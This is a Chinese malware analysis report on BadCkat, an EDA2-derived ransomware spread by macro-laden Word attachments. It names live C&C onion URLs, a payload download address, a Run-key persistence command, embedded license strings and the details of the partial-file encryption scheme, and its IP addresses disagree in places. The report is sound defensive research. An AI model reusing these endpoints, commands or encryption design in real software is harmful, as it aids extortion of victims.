更多安全资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn)
概述
2018年5月12号开始,我国多个政府、银行邮件系统不断地收到一封邮件:伪装成为“美国法院”发送的传票文件。启明星辰ADLab与神州网云冰狐安全实验室针对该次攻击事件进行调查,并对涉事的攻击病毒进行了长时间的深入分析、追踪溯源:最终我们发现该攻击病毒是一起利用“EDA2”开源勒索项目改造而成的勒索病毒,目前在世界范围内进行着广泛的攻击活动。
EDA2开源项目(于2016年3月被作者删除)目前已经衍生出了大量的勒索病毒,其中包含Karo、Brazilian、DEDCryptor、Fantom、FSociety、Magic、MM Locker、SkidLocker、SNSLocker、Strictor和Surprise等等,我们当前分析的这款勒索病毒为唯一一款采用C++重写的勒索病毒,其他大部分衍生病毒均为原项目的C#语言版本。
该次攻击冒充美国法院行政办公室发送一封需要受害人出席的民事诉讼案件(第6:15-145号)邮件,并以邮件附件的形式提供了法庭位置和案件详细信息。邮件附件是一个加密的word文档,文档包含黑客精心构造的office宏病毒,一旦该文件被打开,就会从网络下载攻击模块,实施勒索。邮件内容如下图所示:
一旦word文档的宏被启用,其中的恶意宏代码会下载一个后缀名为.png的文件;该PNG文件实则为一个下载者模块,将再下载一个sfx自解压模块。sfx自解压模块将启动一个loader程序,由loader程序加载并执行真正的勒索模块。由于勒索模块使用了Chilkat商业库(由一家芝加哥公司开发的跨语言、跨平台的商业组件)开发,我们将这个勒索病毒命名为“BadCkat”。该勒索病毒共使用了4个Chilkat的License,License如下表格所示:
Class | License |
CkZip | "fFQc6nZIP_sJ8S7yhjotwg" |
CkRsa | "vouiyoRSA_yppHpEGhGSyB" |
CkHttp | "jngheOHttp_zkxTwG1PNi88" |
CkCrypt2 | "OGCRerCrypt_OZEC4ykL5FFG" |
该勒索病毒利用带有打开密码的word文件、加密的sfx自解压程序、运行时动态解密PE文件、虚拟机检测及沙箱检测技术来躲避安全厂商自动化分析检测系统的查杀;在加密文件的方式上采用非全文加密技术,并且支持加密的文件种类多达501种。这种非全文文件加密方式与今年最流行的四大勒索家族(Globelmposter、CrySiS、GandGrab、Satan)相比,文件加密速度显著提高。加密算法上,采用传统的RSA+AES组合加密算法对被感染PC上的文件进行加密,与其他勒索软件不同的是:该勒索软件的RSA公钥并没有被内置在程序中,而需通过Tor匿名网络从C&C动态获取。在黑客没有公布RSA私钥的情况下,无法对被加密的文件进行解密还原。
追踪溯源
BadCkat的网络请求如下表格所示:
上线请求 | http://lzt4y6qj7azyldq2.onion/control.php?uid=2A7575687DDFA15BC0D3944BF107C081&uname=Administrator&os=Windows7&pcname=WIN-49MGHL1CAV2&total=6665&country=China&network=no&subid=1595 |
上报结果 | http://lzt4y6qj7azyldq2.onion/total.php?uid=2A7575687DDFA15BC0D3944BF107C081 |
根据URL中的请求路径(control.php?uid)进行样本关联搜索,我们发现Karo家族也有类似的网络请求,Karo家族的网络请求如下表所示:
上线请求 | http://ibvmcu4eayyxjc4jonion/control.php?uid=CED31EA62F22BE8E87B5BC72B3C93E29&uname=admin&os=Windows7&pcname=WIN-A9MP |
上报结果 | http://ibvmcu4eayyxjc4j.onion/total.php?uid=CED31EA62F22BE8E87B5BC72B3C93E29&total=2547 |
在网络请求接口中,二者对比信息如下:
在上线请求url中,二者的请求路径相同,都是control.php ,共有的请求字段是:uid、uname、os、pcname。BadCkat独有的请求字段是total、country、network、subid。
在上报结果的url中,二者的请求路径相同,都是total.php,共有的请求字段是uid,其中Karo独有的字段是total,该字段与BadCkat的上线请求中的total字段含义一致。
在恶意代码的功能上,比对结果如下表格所示:
功能 | BadCkat | Karo家族 |
开发语言 | C++ | C# |
被加密文件的加密方式 | 非全文加密 | 全文加密 |
应用程序中字符串是否加密 | AES加密关键字符串 | 不加密 |
被加密文件的扩展名 | 不修改原文件扩展名 | 在原文件名后追加“. ipygh”扩展名 |
清空系统临时目录 | WindowsAPI实现 | 批处理实现 |
沙箱检测 | GetModuleHandleA("SbieDll.dl") | LoadLibrary(“SbieDLL.dll”) |
虚拟机检测 | LoadLibrary(“VBoxHook.dll”) | 通过检测字符串vmware、VitrualBox、virtual |
勒索壁纸 | 动态生成 | 从C&C下载 |
通过将BadCkat和Karo家族进行横向比对后发现, BadCkat与Karo家族在恶意代码功能上和网络接口设计上相似度较高,但是BadCkat使用C++实现,不需要额外的运行时环境(Karo家族需要安装.net运行环境),提高了对Windows操作系统不同版本的兼容性,并且很多方面较Karo做了较大改进,如:BadCkat中所有重要的字符串都是用AES算法加密的,运行时动态解密;根据字符串过滤不加密的文件目录,以保障被感染PC可以正常启动。
在追踪Karo家族时,我们发现Karo家族是EDA2的一个变种之一。而EDA2是2016年1月24日,土耳其安全研究人员Utku Sen出于教育目的在Github上发布的两款开源勒索软件之一(EDA2项目地址:https://github.com/utkusen/eda2),为防止代码被滥用,Utku Sen在EDA2的管理面板内置了后门,用于获取勒索软件作者加密受害者文件的密钥。但部分黑客在获取源代码之后,修复了其中的后门。2016年3月23日,Utku Sen移除托管在GitHub上的项目,主要是因为他发现很多黑客利用他的源代码进行恶意的攻击行为,而这与他之前的想法背道而驰;再加上安全社区中没多少人支持他的这一做法,迫于压力他才不得不移除GitHub上的这两个项目。据不完全统计,EDA2的恶意代码已经出现在了10种不同的勒索软件中(Brazilian、DEDCryptor、Fantom、FSociety、Magic、MM Locker、SkidLocker、SNSLocker、Strictor和Surprise)。
根据BadCkat勒索病毒的各种特征,可以确认其与Karo病毒具有一定的同源性。Karo虽然继承于开源项目EDA2,但是其本身并不开源;因此BadCkat可能直接改造于开源项目EDA2,当然也不排除其改造于其他EDA2衍生版本的可能。在开源项目EDA2的基础上,BadCkat用C++重新开发了一款兼容性更好、功能更强大、加密速度更快的勒索软件。
行为简介
勒索病毒下载并执行Tor应用,以便实现与C&C进行匿名通信,只有成功连接C&C后才开始对磁盘特定的文件进行加密。勒索病毒直接在原文件基础上实现文件加密:先将文件部分内容进行加密,得到密文;用密文覆盖原文内容,原文件被覆盖内容长度与密文长度相同,其余部分保持不变;然后在文件末尾追加加密过的AES密钥,最后再追加字符串“magic”,用以标记文件已经被加密。当磁盘文件被加密成功后,勒索病毒会创建一张带有勒索信息的图片,把它作为壁纸设置为桌面背景图片,并在所有被加密过文件的目录中创建“ReadMe.txt”文件,同时在桌面创建并打开“ReadMe.html”文件,提示受害人文件被加密,需要支付赎金。一个被加密过的文件末尾如下图所示:
勒索壁纸图片中包含一个ID,该ID为被感染PC电脑的唯一标识符,它是使用被感染PC硬件信息计算得到的一个md5值:通常使用mac地址作为硬件信息,若获取mac地址失败,则使用 C盘序列号作为硬件信息,黑客用它来区分不同的被感染PC。下图是带有被感染PC的uid的勒索信息的桌面壁纸图片:
文件关系及网络通信
该勒索病毒通过邮件进行传播:1)受害人打开邮件附件中的word文档并手动开启word宏功能后,恶意的vba代码将自动执行;2)vba代码会向185.189.50.180请求下载backgroud.png文件(实质是一个PE文件,功能是下载者);3)下载成功后,vba代码会执行backgroud.png程序,backgroud.png程序向185.189.50.180请求logo.png(也是一个PE文件,实质SFX自解压程序)文件;4)logo.png文件下载成功后,backgroud.png程序会运行logo.png程序,logo.png程序启动后会释放svchost.exe和install.sql两个文件,其中svchost.exe的功能是Loader功能,负责解密并执行install.sql文件,5)install.sql文件启动后,从archive.torproject.org下载并执行Tor应用,然后开始对被感染PC的磁盘文件进行加密。
文件创建关系流程如下图所示:
当Tor运行后,被感染PC通过Tor向C&C发送上线请求,以获取RSA公钥或exit指令。获得RSA公钥后,开始对磁盘文件进行加密,加密完成再向C&C上报加密成功状态,被感染PC收到HTTP 200 OK后就完成了与C&C的通信。C&C通信过程如下图所示:
详细分析
BadCkat为了提高自身的成活时间,采用了多种手段来对抗自动化分析系统。其中最有意思的是其将病毒附件(word文档)配置上打开密码,如果没有密码输入便不会有任何恶意行为出现,此方法大大降低了自身被自动化系统发现的几率。此外BadCkat还采用了带密码的sfx自解压程序来做自我保护,在勒索主体执行过程还会检测虚拟机和沙箱来对抗自动化分析系统。与C&C通信上,其通过下载Tor客户端来实现匿名通信,使其C&C难以追踪。BadCkat详细逆向分析如下。
5.1、传播模块分析
该模块主体包括被感染PC收到的邮件和邮件中的附件(scan_jt.doc)两个文件:eml文件负责外网扩散;scan_jt.doc文件负责感染收到邮件的机器,通过文字诱导用户在内网中打开scan_jt.doc文档,以实现在内网中感染其他主机。
5.1.1、EML文件
该病毒为利用邮件传播的office宏病毒。黑客发送一封欺骗邮件,并且携带带有恶意代码的附件,附件中的word文件被加密,需要受害人手动输入打开密码:615145。黑客利用加密的word文档躲避安全厂商的自动化分析平台的检测,邮件内容如下图所示:
EML文件基本信息如下:
文件格式 | Eml |
文件大小 | 97283 bytes |
MD5 | 2C129B270DE4252C65DF933225578D35 |
SHA1 | 7F0CADA1A9A14487082EA7ED088D21557F35C26E |
5.1.2、DOC文件
使用oletools对邮件附件的scan_jt.doc文件进行分析,发现它是被加密的word文档,加密方式为“Standard Encryption”(参考:https://msdn.microsoft.com/en-us/library/dd925430(v=office.12).aspx ),oletools分析结果如下图所示:
利用oletools解密scan_jt.doc文件,宏代码如下图所示:
这段vba宏代码,先从http://185.189.58.180/~filehost/background.png请求了一个png文件,并把请求到的“background.png”文件命名为“scvhost.exe”保存到Temp目录下;然后后台执行该exe文件,弹出消息框,告知用户“当前系统无法打开word文件,需要使用其他的电脑重新打开该文件”,以此方式诱导用户更换电脑重新打开此文档,达到病毒内网传播的目的。
5.2、下载者模块分析
该文件的基本信息如下:
原始文件名 | background.png |
MD5 | 98B44272600163A585F3DA9DD4AEC42C |
SHA1 | F88246AF9876D9F876389FA99429C57EFA5F0CF8 |
文件大小 | 53064 bytes |
文件格式 | Win32 EXE |
编译时间 | 2018-01-30 / 11:57:38 |
该文件后缀名虽然是png,但是其文件格式实际为PE文件。使用二进制编辑工具打开后,文件头如下图所示:
在确认background.png文件为PE文件格式后,我们利用PEID查看该文件的加壳信息,显示“壳”信息为Nullsoft PiMP Stub。由此可知,该文件是通过Nullsoft Installation System 制作的安装程序。PEID扫描结果如下图所示:
通过对其进行深入分析,我们发现此文件是一个downloader模块,其主要行为是下载一个logo.png文件,而下载logo.png的网址是加密存储的,经过解密后得到url如下图所示:
downloader模块首先下载logo.png文件,以taskwgr.exe命名并存储在%AppData% 目录下,然后调用CreateProcess函数启动新的进程(taskwgr.exe),启动参数为“-p252589”。
taskwgr.exe名字与任务管理器进程(taskmgr.exe)很相似,黑客的目的是迷惑受害人和病毒分析人员,以达到长期存活的目的,相关代码如下图所示:
logo.png文件的基本信息如下:
原始文件名 | logo.png(taskwgr.exe) |
MD5 | 8413CF9DA4EE2FE7E68B45AF852BBADB |
SHA1 | 018B1E0360843BD7A566F891923CF2373FE92839 |
文件大小 | 3450286 bytes |
文件格式 | Win32 EXE |
5.3、Loader模块分析
taskwgr.exe 文件是一个“RAR SFX”程序,带有自解压执行程序功能,通过RAR打开该文件,我们看到脚本命令如下图所示:
taskwgr.exe在运行后会释放2个文件:分别为:svchost.exe和install.sql文件,其中svchost.exe是Loader模块,为方便区分,下文中的Loader模块均指taskwgr.exe释放的svchost.exe文件。svchost.exe文件基本信息如下:
原始文件名 | svchost.exe |
MD5 | FC5858C18C7EFF9048380CC120CE5C6A |
SHA1 | C5240D836FCECC6384AE3854D3EFB832C3DF659E |
文件大小 | 137216 bytes |
文件格式 | Win32 EXE |
编译时间 | 2026-08-22 / 13:27:33 |
install.sql基本信息如下:
原始文件名 | install.sql |
MD5 | 8AB5E40DE9DB0E1D7D254CF3D00ED960 |
SHA1 | B77AA008E013514B0BEF13126BAC9E239B9963B8 |
文件大小 | 3109888 bytes |
文件格式 | 加密的PE文件 |
分析后发现,install.sql是一个加密的PE程序,svchost.exe解密install.sql关键代码如下:
Loader模块首先用CreateProcess创建一个挂起的傀儡进程(Loader模块自身),相关代码如下图所示:
得到傀儡进程的装载基址后,使用函数ZwUnmapViewOfSection卸载傀儡进程内存空间的数据,再用VirtualAllocEx给傀儡进程重新分配内存空间。使用WriteProcessMemory把解密install.sql得到的PE程序写入傀儡进程的内存空间,相关代码如下图所示:
最后设置程序入口点和进程环境块,调用ResumeThread恢复该傀儡进程运行,调用TerminateProcess函数杀死Loader模块,相关代码如下图所示:
5.4、勒索模块分析
勒索模块是指上文注入到傀儡进程中的被解密的install.sql程序,它会检测勒索病毒的运行环境,如果是运行在沙箱或VirtualBox虚拟机中就退出执行。该模块还会从Tor官网下载Tor的命令行版本的可执行程序,使用Tor网络与C&C通信,从C&C获取RSA公钥或控制命令。勒索模块将taskwgr.exe添加到开机自启动,在文件加密完成后,勒索模块先把加密结果上报给C&C;在收到C&C返回后修改被感染PC的桌面壁纸,把带有勒索信息的图片作为壁纸,生成勒索信息;删除磁盘卷影文件,退出执行。
5.4.1、初始化
勒索模块在初始化阶段主要完成以下工作:初始化要加密的文件后缀名、清空系统临时目录、初始化解密字符串密钥信息、创建Event、检测运行环境、创建工作目录、设置开机自启动。
5.4.1.1、初始化加密文件后缀
勒索模块启动后,将立即初始化待加密的文件后缀名,经过统计,该勒索病毒共计支持501种文件后缀,后缀名明细如下:
123;1cd;3dm;3ds;3fr;3g2;3gp;3pr;602;7z;7zip;aac;ab4;abd;acc;accdb;accde;accdr;accdt;ach;acr;act;adb;adp;ads;aes;agd;ai;aiff;ait;a;aoi;apj;apk;arc;arw;ascx;asf;asm;asp;aspx;asset;asx;atb;avi;awg;back;backup;backupdb;bak;bank;bat;bay;bdb;bgt;bik;bin;bkp;blend;bmp;bpw;brd;bsa;bz2;c;cash;cdb;cdf;cdr;cdr3;cdr4;cdr5;cdr6;cdrw;cdx;ce1;ce2;cer;cfg;cfn;cgm;cib;class;cls;cmd;cmt;config;contact;cpi;cpp;cr2;craw;crt;crw;cry;cs;csh;cs;csr;css;csv;d3dbsp;dac;das;dat;dbdb;db3;db_journa;dbf;dbx;dc2;dch;dcr;dcs;ddd;ddoc;ddrw;dds;def;der;des;design;dgc;dgn;dif;dip;dit;djv;djvu;dng;doc;docb;docm;docx;dot;dotm;dotx;drf;drw;dtd;dwg;dxb;dxf;dxg;edb;em;eps;erbsq;erf;exf;fdb;ffd;fff;fh;fhd;fla;flac;flb;flf;flv;flvv;forge;fpx;frm;fxg;gbr;gho;gif;gpg;gray;grey;groups;gry;gz;h;hbk;hdd;hpp;htm;hwp;ibank;ibd;ibz;idx;iif;iiq;incpas;indd;info;info_;iwi;jar;java;jnt;jpe;jpeg;jpg;js;json;k2p;kc2;kdbx;kdc;key;kpdx;kwm;laccdb;lay;lay6;lbf;lck;ldf;lit;litemod;litesq;lock;ltx;lua;m;m2ts;m3u;m4a;m4p;m4u;m4v;ma;mab;mapimai;max;mbx;md;mdb;mdc;mdf;mef;mfw;mid;mkv;mlb;mm;mmw;mny;money;moneywel;mos;mov;mp3;mp4;mpeg;mpg;mrw;ms11;msf;msg;mts;myd;myi;nd;ndd;ndf;nef;nk2;nop;nrw;ns2;ns3;ns4;nsd;nsf;nsg;nsh;nvram;nwb;nx2;nx;nyf;oab;obj;odb;odc;odf;odg;odm;odp;ods;odt;ogg;oi;omg;one;onenotec2;orf;ost;otg;oth;otp;ots;ott;p12;p7b;p7c;pab;pages;paq;pas;pat;pbf;pcd;pct;pdb;pdd;pdf;pef;pem;pfx;php;pif;p;plc;plus_muhd;pm!;pm;pmi;pmj;pm;pmm;pmo;pmr;pnc;pnd;png;pnx;pot;potm;potx;ppam;pps;ppsm;ppsx;ppt;pptm;pptx;prf;private;ps;psafe3;psd;pspimage;pst;ptx;pub;pwm;py;qba;qbb;qbm;qbr;qbw;qbx;qby;qcow;qcow2;qed;qtb;r3d;raf;rar;rat;raw;rb;rdb;re4;rm;rtf;rvt;rw2;rw;rwz;s3db;safe;sas7bdat;sav;save;say;sch;sd0;sda;sdb;sdf;secret;sh;sldm;sldx;slk;slm;sq;sqlite;sqlite-shm;sqlite-wa;sqlite3;sqlitedb;sr2;srb;srf;srs;srt;srw;st4;st5;st6;st7;st8;stc;std;sti;st;stm;stw;stx;svg;swf;sxc;sxd;sxg;sxi;sxm;sxw;tar;tax;tbb;tbk;tbn;tex;tga;tgz;thm;tif;tiff;tlg;tlx;txt;uop;uot;upk;usr;vb;vbox;vbs;vdi;vhd;vhdx;vmdk;vmsd;vmx;vmxf;vob;vpd;vsd;wab;wad;wallet;war;wav;wb2;wk1;wks;wma;wmf;wmv;wpd;wps;x11;x3f;xis;xla;xlam;xlc;xlk;xlm;xlr;xls;xlsb;xlsm;xlsx;xlt;xltm;xltx;xlw;xm;xps;xxx;ycbcra;yuv;zip;zip;json;pst;001;xml;json;config |
5.4.1.2、清空临时目录
勒索模块执行后,首先调用GetTempPath获取系统临时目录,然后调用FindFirstFile和FindNextFile遍历临时目录下所有文件,最后调用DeleteFile删除文件,调用RemoveDirectory删除文件夹,相关代码如下图所示:
5.4.1.3、设置解密字符串的AES密钥和IV
勒索模块中所有的关键字符串均使用AES-256-CBC模式加密后base64编码,而解密勒索模块中的加密字符串的KEY和IV是硬编码到程序中的,初始化KEY和IV相关代码如下图所示:
5.4.1.4、创建Event
勒索模块会调用CreateEvent创建一个名称为“Global\\CSAPP”的Event,如果创建失败就调用exit函数退出执行,相关代码如下图所示:
5.4.1.5、运行环境检测
勒索模块还会检测自身运行环境,如果是在VirtualBox或沙箱中运行就立即自毁并退出执行,相关代码如下图所示:
5.4.1.6、创建工作目录
勒索模块会在%AppData%\Microsoft\目录下创建一个文件夹作为工作目录,文件夹名即为“uid”的值。
“uid”是通过被感染PC电脑的硬件信息计算得到的一个md5值,默认是被感染PC电脑网卡mac地址的MD5值。如果勒索模块没有检测到网卡的mac地址,就会尝试获取被感染PC的C盘序列号,并把C盘序列号转为10进制数字,再对其求md5。如果既不能获取被感染PC的mac地址,也不能获取C盘的序列号,就终止执行。相关代码如下所示:
5.4.1.7、设置开机启动
勒索模块把%AppData%\taskwgr.exe文件拷贝到%AppData%\Microsoft\{uid}\目录下,其中{ uid }是前面提到的用户唯一标识。拷贝成功后,勒索模块再把%AppData%\taskwgr.exe删除,相关代码如下图所示:
勒索模块在HKEY_CURRENT_USER下的SOFTWARE\Microsoft\Windows\CurrentVersion\Run创建启动项“chrome”项,值为
“rundll32.exe SHELL32.DLL,ShellExec_RunDLL %AppData%\Microsoft\{uid}\taskwgr.exe -p252589”,相关代码如下图所示:
5.4.2、准备加密
勒索模块在准备阶段,会按照初始化阶段中的待加密文件后缀名,遍历被感染PC的磁盘文件,并排除白名单目录;获取被感染PC的国家信息、从官方网站下载并执行Tor并利用Tor匿名网络获取RSA公钥。
5.4.2.1、遍历磁盘文件
勒索模块将遍历除CDROM以外的本地磁盘和局域网共享磁盘,并将磁盘中符合加密文件类型后缀的文件路径存入一个全局变量中,以便后续直接对文件进行加密,相关代码如下:
为提供加密效率,并且保证加密完成后操作系统能够正常启动,勒索模块在遍历目录的时候会排除以下关键字的文件夹:
AppData |
RECYCLER |
All Users |
Program Files |
Program Files (x86) |
ProgramData |
Windows |
WINDOWS |
system32 |
NTUSER.DAT |
NTUSER |
ntuser |
$ |
~ |
5.4.2.2、获取被感染PC所在国家
勒索模块请求http://ip-api.com/json获取被感染PC国家归属地信息,用于构造与C&C通信的参数,如果获取不到信息就把被感染PC国家设置为“UNKNOWN”。相关代码如下图所示:
5.4.2.3、下载并执行Tor
勒索模块使用一个while循环从
https://archive.torproject.org/tor-package-archive/torbrowser/7.0/tor-win32-0.3.0.7.zip 下载Tor的命令行版本,直到下载成功后才退出循环。Tor程序被下载到勒索模块的工作目录下并以“System.zip”命名,相关代码如下图所示:
Tor程序下载成功后,勒索模块把System.zip解压到工作目录,并且把Tor\tor.exe重命名为Tor\svchost.exe,以达到混淆目的,再调用ShellExecute函数执行Tor\svchost.exe,相关代码如下图所示:
5.4.2.4、连接Tor网络获取数据
勒索模块连接本机的9050端口(Tor的默认监听端口),通过Tor匿名网络向“http://lzt4y6qj7azyldq2.onion/control.php?”发送GET上线请求,以获取RSA公钥或自毁指令(exit),请求参数各个字段的含义如下:
名称 | 含义 |
uid | 用户的唯一标识 |
uname | 当前登录用户名 |
os | 操作系统版本 |
pcname | 计算机名称 |
total | 被感染PC电脑支持被加密的文件总数 |
country | 被感染PC所在国家 |
network | 是否能联网 |
subid | 1595(固定值,有可能是黑客用来标识版本的) |
构造的一个完整的URL如下:
http://lzt4y6qj7azyldq2.onion/control.php?uid=2A7575687DDFA15BC0D3944BF107C081&uname=Administrator&os=Windows7&pcname=WIN-49MGHL1CAV2&total=6665&country=China&network=no&subid=1595
勒索模块使用一个while循环发送请求,直到勒索模块获取到C&C返回的数据才退出循环,继续执行其他功能,相关代码如下图所示:
勒索模块获取到C&C返回的数据后进行判断:若返回内容为exit控制指令,就进行自删除并退出执行;否则判定返回内容为RSA公钥,该公钥用来加密随机生成的用于文件加密的AES_KEY。相关代码如下图所示:
勒索模块接收到RSA的PublicKey导入公钥,初始化一个全局变量(下图中的g_Rsa_Ctx),用于对文件加密密钥进行加密;RSA加密的结果以base64编码后输出,初始化用于加密文件的AES-CBC-256的g_Ctx变量,以便在后面对文件进行加密使用。相关代码如下图所示:
截止到本文发稿,我们从C&C获取到的RSA公钥是一个固定值,没有变化,通过Ollydbg调试得到的RSA公钥如下图所示:
RSA公钥内容如下:
<RSAKeyValue> <Modulus>4J0OTIafBajJL+slKzUkzlYrpIbNXml2stof5k0WTehqrcURCsP5h3yGmQmOGeupPSslFKUxVxL+aPtK4geKMJsrhY6cZR0ncWXuh9xdfYKiOBGyIJVJTiFvEPebjN8gAeFOzFUEjfBFU6GtNEE5bHbQ+VlYH1d5mb5yeYG4PyhPh6baHSgSjLZg5/JoMJPco1CIncx+q8UV2veke/gnjqltANbVN6yp88n/ANaHh1eZiYNA20BXlhS1RqxlDIM25dU4m2YnpQlCmYxCZWcwR+me/sWQtTwecQYAHPvekQJZCYhywM7GoadNfbl2TfgcOcNUgpRS7S9OnY7cE/vl1Q==</Modulus> <Exponent>AQAB</Exponent> </RSAKeyValue> |
5.4.3、加密文件
在完成对勒索模块中的文件加密代码的逆向分析后,我们发现:黑客在设计加密被感染PC磁盘文件功能时,只加密文件头的0xC350字节,并把加密的结果直接写入原文件,再使用RSA公钥对加密该文件的AES_KEY进行加密,把加密的结果追加到原文件中,最后在文件末尾添加“magic”字符串。对小于等于0x9C4字节的文件不加密。
因为AES-256-CBC模式加密后的密文长度遵循以下公式:
AES 密文长度 = (原文长度 / 16) * 16 + 16
所以,在代码实现上必须区分处理文件长度小于0xC350字节的文件和大于等于0xC360的文件。勒索模块对文件大小在0xC350和0xC360字节之间的文件不加密。
5.4.3.1、加密小于0xC350字节文件
勒索模块先获取待加密文件的大小,若文件内容大于0x9C4字节,且小于0xC350字节:则1)随机生成加密文件的AES密钥,并把密钥的前面16字节作为IV用于对文件的加密;2)用RSA公钥加密AES密钥,加密的结果保存到RSA_ENCRYPTED_AESKEY;3)判断原文件的结尾是否是等于“magic”,如果是表示该文件已经加密过了,如果不是则从文件起始位置读取0xC350字节的缓冲器,把文件的原始内容读出,使用上面随机生成的密钥和IV对其进行加密,加密的结果写入到原文件中;4)最后把RSA_ENCRYPTED_AESKEY的结果附加在原文件末尾,并在RSA_ENCRYPTED_AESKEY后面追加“magic”字符串。相关代码如下:
加密后的密文格式如下:
5.4.3.2、加密大于等于0xC360字节文件
勒索模块先获取待加密文件的大小,如果文件大于0xC360字节,则:1)随机生成加密文件的AES密钥,并把密钥的前面16字节作为IV用于对文件的加密;2)用RSA公钥加密AES密钥,加密的结果保存到RSA_ENCRYPTED_AESKEY;3)判断原文件的结尾是否是等于“magic”,如果是表示该文件已经加密过了,如果不是,则在0xC351字节处读取16字节,存入big_buf中,在从文件起始位置读取0xC350字节的缓冲器,把文件的原始内容读出,并使用上面随机生成的密钥和IV对其进行加密,加密的结果写入到原文件中;4)最后再把big_buf、RSA_ENCRYPTED_AESKEY、“magic”字符串依次追加到原文件末尾。
相关代码如下图所示:
加密后的密文格式如下:
5.4.3.3、创建ReadMe.txt文件
文件加密完成后,勒索模块会判断文件所在的目录是否存在ReadMe.txt文件,如果不存在就创建ReadMe.txt文件,提示用户文件被加密,需要支付赎金。相关代码如下图所示:
5.4.4、上报结果、提示勒索信息
5.4.4.1、上报加密结果
勒索模块在完成磁盘文件加密后,会解密内置在程序中的加密字符串,拼接网址,创建一个while循环,向网址http://lzt4y6qj7azyldq2.onion/total.php?uid=2A7575687DDFA15BC0D3944BF107C081
上报加密成功,直到收到C&C反馈后,退出循环,继续执行其他代码。相关代码如下图所示:
5.4.4.2、以勒索图片设置壁纸
勒索模块在上报加密成功状态后,首先在uid目录下创建勒索信息壁纸test.bmp,然后在相同目录下把test.bmp拷贝为test1.bmp,最后调用SystemParametersInfoA函数将test1.bmp设置为桌面背景图片。相关代码如下图所示:
5.4.4.3、删除痕迹
勒索模块在桌面壁纸设置成功后,将立即删除taskwgr.exe和test.bmp文件。相关代码如下:
通过以上代码还可以看出,该勒索病毒只对磁盘文件进行一次加密;加密完成后,不会对加密完成后的增量文件进行加密。
5.4.4.4、桌面创建并执行ReadMe.html
勒索模块还会在桌面创建一个ReadMe.html文件,创建成功后调用ShellExecute函数把它打开,提醒受害人电脑文件已经被加密。相关代码如下图所示:
5.4.4.5、删除磁盘卷影
勒索模块最后会通过ShellExecute执行一个cmd命令:删除磁盘卷影,修改引导配置(禁用启动应用程序的紧急管理服务、关闭高级选项、关闭自动修复、关闭系统修复)。cmd命令对Win7、Win8、Win10操作系统分别适配,win7相关代码如下图所示:
总结及建议
自WannaCry 勒索病毒大范围爆发后,勒索病毒开始被各国黑客集团、犯罪组织使用,目前勒索病毒已经成为了黑客快速谋取暴力的一种捷径,并且呈现越演越烈的趋势。传统的勒索病毒大多使用RSA+AES全文加密,虽然加密强度极高,但是勒索病毒在对文件进行加密的时候执行效率不高;本次发现的勒索病毒仅对文件头的部分数据进行加密,因此加密速度极快,同时达到了破坏程序正常运行,文档加密不能打开的目的,迫使受害人支付赎金。
为避免被勒索病毒加密感染,我们提供以下几条简单建议:
对重要的数据文件定期进行非本地备份。
不要点击来源不明的邮件以及附件。
重命名vssadmin.exe进程,防止勒索病毒利用它一次性清除文件的所有卷影副本。
开启防火墙,并升级到最新版本,阻止勒索病毒与其C&C服务器通信。
及时给电脑打补丁,修复漏洞。
尽量不要使用局域网共享,或把共享磁盘设置为只读属性,不允许局域网用户改写文件。
启明星辰积极防御实验室(ADLab)
ADLab成立于1999年,是中国安全行业最早成立的攻防技术研究实验室之一,微软MAPP计划核心成员,“黑雀攻击”概念首推者。截止目前,ADLab已通过CVE累计发布安全漏洞400余个,通过 CNVD/CNNVD累计发布安全漏洞近500个,持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。